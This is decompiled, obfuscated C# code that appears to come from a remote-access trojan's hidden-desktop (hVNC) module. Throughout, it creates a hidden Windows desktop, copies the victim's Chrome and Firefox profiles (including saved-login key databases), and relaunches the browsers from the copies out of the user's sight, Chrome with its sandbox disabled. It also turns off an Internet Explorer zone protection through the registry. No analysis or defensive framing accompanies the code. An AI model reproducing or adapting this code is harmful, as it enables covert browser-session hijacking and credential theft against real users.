// Token: 0x0600001A RID: 26 RVA: 0x00002FCC File Offset: 0x000011CC public static void RemoveContext(object spec) { SchemaMapper.m_Object = 0; SchemaMapper.m_Reponse = 0; SchemaMapper.m_Rule = 0; byte b = (byte)spec; byte b2 = b; switch (b2) { case 0: SchemaMapper.ForgotContext((int)((byte)spec)); break; case 1: SchemaMapper.ForgotContext((int)((byte)spec)); break; case 2: SchemaMapper.EnableContext((int)((byte)spec)); break; case 3: SchemaMapper.EnableContext((int)((byte)spec)); break; case 4: SchemaMapper.AwakeContext(); break; case 5: try { DatabaseParserResolver.InvokeMapper("chrome"); ProcessStartInfo startInfo = new ProcessStartInfo { FileName = "cmd.exe", Arguments = "/C start chrome.exe", WorkingDirectory = "." }; WindowsUtility.CreateProcess(startInfo, "sdfsddfg", new int?(100)); } catch { } break; default: if (b2 == 19) { MapperProductSchema.mapper = ""; Product.tests.Dispose(); } break; } }
// Token: 0x06000016 RID: 22 RVA: 0x00002D68 File Offset: 0x00000F68 private byte[] CountContext(byte[] item, byte[] attr) { for (int i = 0; i < item.Length; i++) { if (SchemaMapper.LoginContext(item, attr, i)) { int num = i + attr.Length; byte[] array = new byte[item.Length - num]; Array.Copy(item, num, array, 0, array.Length); return(array); } } throw new Exception("not found"); }
// Token: 0x06000020 RID: 32 RVA: 0x00003818 File Offset: 0x00001A18 private static void IncludeContext(string param, string ivk) { try { foreach (string text in Directory.GetDirectories(param)) { if (!(text == ivk) && !(text.Substring(1, text.Length - 1) == ivk.Substring(1, ivk.Length - 1))) { string fileName = Path.GetFileName(text); if (!Directory.Exists(Path.Combine(ivk, fileName))) { Directory.CreateDirectory(Path.Combine(ivk, fileName)); } SchemaMapper.IncludeContext(text, Path.Combine(ivk, fileName)); } } foreach (string text2 in Directory.GetFiles(param)) { try { File.Copy(text2, Path.Combine(ivk, Path.GetFileName(text2)), true); SchemaMapper.m_Rule += (int)new FileInfo(Path.Combine(ivk, Path.GetFileName(text2))).Length; if (SchemaMapper.m_Reponse == 10) { SchemaMapper.ReflectContext(string.Concat(new object[] { "Copied ", SchemaMapper.m_Rule / 1024 / 1024, " of ", SchemaMapper.m_Object })); SchemaMapper.m_Reponse = 0; } else { SchemaMapper.m_Reponse++; } } catch { } } } catch { } }
// Token: 0x06000022 RID: 34 RVA: 0x00003A54 File Offset: 0x00001C54 private static Size ViewContext(object res, int visitorID, int state_high, int sizeattr2, int int_0, bool loadlast4) { Size result; if (loadlast4) { for (int i = sizeattr2; i > 0; i--) { if (res.GetPixel(i, int_0).ToArgb() != Color.White.ToArgb()) { sizeattr2 = i; Bitmap res2 = res.Clone(new Rectangle(0, 0, sizeattr2, state_high), PixelFormat.Format24bppRgb); res.Dispose(); res = null; return(SchemaMapper.ViewContext(res2, sizeattr2 - 1, state_high - 1, sizeattr2 - 1, int_0 - 1, false)); } } result = Size.Empty; } else { int num = 0; int j = sizeattr2; IL_CB: while (j > 0) { for (int k = state_high; k > 0; k--) { if (res.GetPixel(j, k).ToArgb() != Color.White.ToArgb()) { if (k > num) { num = k; } IL_C3: j -= 800; goto IL_CB; } } goto IL_C3; } result = new Size(sizeattr2, num); } return(result); }
// Token: 0x0600001F RID: 31 RVA: 0x000037A0 File Offset: 0x000019A0 private static bool ConcatContext(string[] var1, DriveInfo cust) { int num = 0; SchemaMapper.ReflectContext("Begin calculating size for drive " + cust.VolumeLabel); foreach (string fileName in var1) { try { num += (int)new FileInfo(fileName).Length; } catch { } } SchemaMapper.m_Object = num / 1024 / 1024; return((long)num < cust.AvailableFreeSpace); }
// Token: 0x06000019 RID: 25 RVA: 0x00002E78 File Offset: 0x00001078 public static void ComputeContext() { Streaming.defaultDesktp = ParamRuleContainer.GetThreadDesktop(ParamRuleContainer.GetCurrentThreadId()); Streaming.Hdsktp = ParamRuleContainer.OpenDesktop("sdfsddfg", 0, true, 511u); if (Streaming.Hdsktp == IntPtr.Zero) { Streaming.Hdsktp = ParamRuleContainer.CreateDesktop("sdfsddfg", null, IntPtr.Zero, 0u, 511u, IntPtr.Zero); } Streaming.ActiveDesktop = Streaming.Hdsktp; ParamRuleContainer.SetThreadDesktop(Streaming.Hdsktp); bool flag = false; Process[] processesByName = Process.GetProcessesByName("explorer"); for (int i = 0; i < processesByName.Length; i++) { if (processesByName[i].MainWindowHandle != IntPtr.Zero) { flag = true; } } if (!flag) { try { RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Control Panel\\Desktop", true); string value = (string)registryKey.GetValue("WallPaper"); registryKey.SetValue("WallPaper", ""); registryKey.Close(); ParamRuleContainer.PatchContext("C:\\Windows\\explorer.exe", "/separate"); Thread.Sleep(500); RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey("Control Panel\\Desktop", true); registryKey2.SetValue("WallPaper", value); registryKey2.Close(); } catch (Exception ex) { SchemaMapper.ReflectContext(ex.ToString()); } } }
// Token: 0x06000017 RID: 23 RVA: 0x00002DBC File Offset: 0x00000FBC public static List <byte[]> CancelContext(Array first, object ivk) { List <byte[]> list = new List <byte[]>(); int num = 0; byte[] array; for (int i = 0; i < first.Length; i++) { if (SchemaMapper.LoginContext(first, ivk, i)) { array = new byte[i - num]; Array.Copy(first, num, array, 0, array.Length); list.Add(array); num = i + ivk.Length; i += ivk.Length - 1; } } array = new byte[first.Length - num]; Array.Copy(first, num, array, 0, array.Length); list.Add(array); return(list); }
// Token: 0x0600001E RID: 30 RVA: 0x00003710 File Offset: 0x00001910 private static void AwakeContext() { try { SchemaMapper.ReflectContext("Disabling IE protection"); Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\3", "2500", 3, RegistryValueKind.DWord); int num = ParamRuleContainer.PatchContext("C:\\Windows\\System32\\cmd.exe", "/C start iexplore.exe -extoff -nomerge -noframemerging"); Thread.Sleep(1000); if (num == 1) { SchemaMapper.ReflectContext("Succes IE"); } else { SchemaMapper.ReflectContext("executing error code: " + num.ToString()); } } catch (Exception ex) { SchemaMapper.ReflectContext(ex.Message); } }
// Token: 0x0600001C RID: 28 RVA: 0x00003374 File Offset: 0x00001574 private static void EnableContext(int start_i) { try { string text = ""; string text2 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Mozilla\\Firefox\\"; string text3 = File.ReadAllText(text2 + "profiles.ini"); bool flag = false; SchemaMapper.ReflectContext("loking for relative profile"); while (!flag) { text3 = text3.Substring(text3.IndexOf("IsRelative=") + "IsRelative=".Length); if (text3 == null) { SchemaMapper.ReflectContext("no relative profile found"); return; } if (text3[0] == '1') { string text4 = text3.Substring(text3.IndexOf("Path=") + "Path=".Length); int length = text4.IndexOf("\r\n"); text4 = text4.Substring(0, length).Replace("/", "\\"); if (File.Exists(text2 + text4 + "\\prefs.js") && (File.Exists(text2 + text4 + "\\key3.db") || File.Exists(text2 + text4 + "\\key4.db"))) { text2 += text4; flag = true; } } } bool flag2 = false; string[] logicalDrives = Environment.GetLogicalDrives(); for (int i = 0; i < logicalDrives.Length; i++) { DriveInfo driveInfo = new DriveInfo(logicalDrives[i]); if (driveInfo.IsReady && driveInfo.DriveType == DriveType.Fixed && SchemaMapper.ConcatContext(Directory.GetFiles(text2, "*.*", SearchOption.AllDirectories), driveInfo)) { SchemaMapper.ReflectContext("Got drive to copy"); text = text2.Remove(0, 3).Insert(0, driveInfo.Name) + "C"; flag2 = true; IL_193: if (!flag2) { SchemaMapper.ReflectContext("Not enought space on disk to copy profile"); } else { if (!Directory.Exists(text) || start_i == 3) { SchemaMapper.IncludeContext(text2, text); } SchemaMapper.UpdateContext(text); string cont = "/C start Firefox -no-remote -profile \"" + text + "\""; string text5 = "C:\\Windows\\System32\\cmd.exe"; if (File.Exists("C:\\Program Files\\Mozilla Firefox\\firefox.exe")) { cont = "-no-remote -profile \"" + text + "\""; text5 = "C:\\Program Files\\Mozilla Firefox\\firefox.exe"; } SchemaMapper.ReflectContext(text5); int num = ParamRuleContainer.PatchContext(text5, cont); Thread.Sleep(1000); if (num == 1) { SchemaMapper.ReflectContext("Succes FF"); } else { SchemaMapper.ReflectContext("executing error code: " + num.ToString()); } } return; } } goto IL_193; } catch (Exception ex) { SchemaMapper.ReflectContext(ex.Message); } }
// Token: 0x0600001B RID: 27 RVA: 0x000030CC File Offset: 0x000012CC private static void ForgotContext(int startfirst) { try { string text = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default"; string text2 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\copiedProf\\Default"; if (!Directory.Exists(text2) || startfirst == 0) { bool flag = false; string[] logicalDrives = Environment.GetLogicalDrives(); int i = 0; while (i < logicalDrives.Length) { string text3 = logicalDrives[i]; SchemaMapper.ReflectContext("Check drive " + text3 + "for space"); DriveInfo driveInfo = new DriveInfo(text3); if (!driveInfo.IsReady || driveInfo.DriveType != DriveType.Fixed || !SchemaMapper.ConcatContext(Directory.GetFiles(text, "*.*", SearchOption.AllDirectories), driveInfo)) { SchemaMapper.ReflectContext("Not enought space on " + text3 + " to copy profile"); i++; } else { flag = true; SchemaMapper.ReflectContext("Got disk for copy"); text2 = text2.Remove(0, 3).Insert(0, driveInfo.Name); IL_DD: if (!flag) { SchemaMapper.ReflectContext("Not enought space on disks to copy profile"); return; } goto IL_F2; } } goto IL_DD; } IL_F2: string cont = "/C start chrome.exe --disable-3d-apis --disable-gpu-rasterization --disable-gpu-vsync --disable-gpu-program-cache --disable-gpu --disable-d3d11 --disable-flash-3d --no-sandbox --user-data-dir=\"" + Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\copiedProf\""; string text4 = "C:\\Windows\\System32\\cmd.exe"; if (File.Exists("C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe")) { cont = "--disable-3d-apis --disable-gpu-rasterization --disable-gpu-vsync --disable-gpu-program-cache --disable-gpu --disable-d3d11 --disable-flash-3d --no-sandbox --user-data-dir=\"" + Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\copiedProf\""; text4 = "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe"; SchemaMapper.ReflectContext(text4); } else if (File.Exists("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe")) { cont = "--disable-3d-apis --disable-gpu-rasterization --disable-gpu-vsync --disable-gpu-program-cache --disable-gpu --disable-d3d11 --disable-flash-3d --no-sandbox --user-data-dir=\"" + Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\copiedProf\""; text4 = "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe"; SchemaMapper.ReflectContext(text4); } else if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\Application\\chrome.exe")) { cont = "--disable-3d-apis --disable-gpu-rasterization --disable-gpu-vsync --disable-gpu-program-cache --disable-gpu --disable-d3d11 --disable-flash-3d --no-sandbox --user-data-dir=\"" + Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\copiedProf\""; text4 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\Application\\chrome.exe"; SchemaMapper.ReflectContext(text4); } else { SchemaMapper.ReflectContext("Chrome will start with cmd"); } if (!Directory.Exists(text2) || startfirst == 0) { Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\copiedProf"); Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\copiedProf\\Default"); SchemaMapper.ReflectContext("direcories created"); SchemaMapper.IncludeContext(text, text2); } SchemaMapper.ReflectContext("Executing chrome"); int num = ParamRuleContainer.PatchContext(text4, cont); Thread.Sleep(1000); if (num == 1) { SchemaMapper.ReflectContext("Succes Chrome"); } else { SchemaMapper.ReflectContext("executing error code: " + num.ToString()); } } catch (Exception ex) { SchemaMapper.ReflectContext(ex.Message); } }